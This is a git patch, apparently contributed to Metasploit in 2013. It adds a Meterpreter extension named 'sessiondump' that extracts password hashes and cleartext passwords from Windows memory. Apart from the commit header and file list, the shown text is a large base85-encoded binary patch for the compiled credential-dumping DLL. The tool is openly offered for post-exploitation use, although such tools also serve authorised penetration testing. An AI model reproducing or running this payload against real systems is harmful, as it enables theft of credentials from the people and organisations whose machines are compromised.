From 854ac2f8298cf6fd5212594f8f8592a154930a5e Mon Sep 17 00:00:00 2001 From: Steeve Barbeau Date: Mon, 22 Apr 2013 12:02:16 +0200 Subject: [PATCH 1/2] Sessiondump extension to dump password/hashs This meterpreter extension can be used to dump hashes and passwords from memory Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) http://www.hsc.fr/ressources/outils/sessiondump/index.html.en --- data/meterpreter/ext_server_sessiondump.dll | Bin 0 -> 70656 bytes .../ext_server_sessiondump.x64.dll | Bin 0 -> 79360 bytes data/sessiondump_lsasrv_offsets.csv | 65 ++ data/sessiondump_wdigest_offsets.csv | 30 + .../source/extensions/sessiondump/core.c | 935 ++++++++++++++++++ .../source/extensions/sessiondump/core.h | 170 ++++ .../extensions/sessiondump/sessiondump.c | 325 ++++++ .../extensions/sessiondump/sessiondump.h | 74 ++ .../ext_server_sessiondump.vcproj | 411 ++++++++ .../ext_server_sessiondump.vcxproj | 239 +++++ .../extensions/sessiondump/sessiondump.rb | 176 ++++ .../meterpreter/extensions/sessiondump/tlv.rb | 37 + .../console/command_dispatcher/sessiondump.rb | 304 ++++++ 13 files changed, 2766 insertions(+) create mode 100755 data/meterpreter/ext_server_sessiondump.dll create mode 100755 data/meterpreter/ext_server_sessiondump.x64.dll create mode 100755 data/sessiondump_lsasrv_offsets.csv create mode 100755 data/sessiondump_wdigest_offsets.csv create mode 100755 external/source/meterpreter/source/extensions/sessiondump/core.c create mode 100755 external/source/meterpreter/source/extensions/sessiondump/core.h create mode 100755 external/source/meterpreter/source/extensions/sessiondump/sessiondump.c create mode 100755 external/source/meterpreter/source/extensions/sessiondump/sessiondump.h create mode 100755 external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcproj create mode 100644 external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcxproj create mode 100755 lib/rex/post/meterpreter/extensions/sessiondump/sessiondump.rb create mode 100755 lib/rex/post/meterpreter/extensions/sessiondump/tlv.rb create mode 100755 lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb diff --git a/data/meterpreter/ext_server_sessiondump.dll b/data/meterpreter/ext_server_sessiondump.dll new file mode 100755 index 0000000000000000000000000000000000000000..9b1b35414e9826836a399ef33e3c75c9447541d8 GIT binary patch literal 70656 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 